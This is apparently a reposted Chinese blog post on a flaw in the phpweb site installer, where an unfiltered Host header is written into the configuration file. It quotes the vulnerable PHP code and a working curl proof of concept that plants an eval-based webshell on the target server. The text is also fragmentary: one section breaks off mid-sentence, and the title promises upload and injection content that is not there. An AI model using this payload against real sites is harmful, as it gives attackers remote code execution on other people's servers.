phpweb成品网站最新版(注入、上传、写shell)-白红宇的个人博客

phpweb成品网站最新版(注入、上传、写shell)

发布日期：2025-05-03 09:27:41 浏览次数：11 分类：精选文章

本文共 1095 字，大约阅读时间需要 3 分钟。

注入：通过

之所以鸡肋就是该漏洞利用安装文件重新生成配置文件并写入可执行代码。

鸡肋1：具有破坏性，动作非常大，重新写了配置文件、数据库连接文件。

鸡肋2：有一定安全常识的站长都会删掉install目录。

虽然鸡肋，但也有优点：不受magic_quotes_gpc、webserver影响。

$siteurl = "http://" . $_SERVER["HTTP_HOST"] . "/"; //未过滤$filestr = fread(fopen($SysConfigFile, 'r'), 30000);$filestr = str_replace(" ", "", $filestr);$filestr = str_replace("DefaultDbHost", $dbhost, $filestr);$filestr = str_replace("DefaultDbName", $dbname, $filestr);$filestr = str_replace("DefaultDbUser", $dbuser, $filestr);$filestr = str_replace("DefaultDbPass", $dbpwd, $filestr);$filestr = str_replace("DefaultsLan", "zh_cn", $filestr);$filestr = str_replace("DefaultTablePre", $tablepre, $filestr);$filestr = str_replace("DefaultSiteUrl", $siteurl, $filestr);fwrite(fopen($ConFile, "w"), $filestr, 30000);

$_SERVER["HTTP_HOST"]即http头中HOST传递过来的可控且不受magic_quotes_gpc影响。

poc

curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"

转载自:https://www.cnblogs.com/58top/p/3728626.html

上一篇：phpWhois 项目推荐

下一篇：PHPUnit单元测试对桩件（stub）和仿件对象（Mock）的理解

发表评论

关于作者

喝酒易醉，品茶养心，人生如梦，品茶悟道，何以解忧？唯有杜康！

-- 愿君每日到此一游！

发表评论

最新留言

关于作者

推荐文章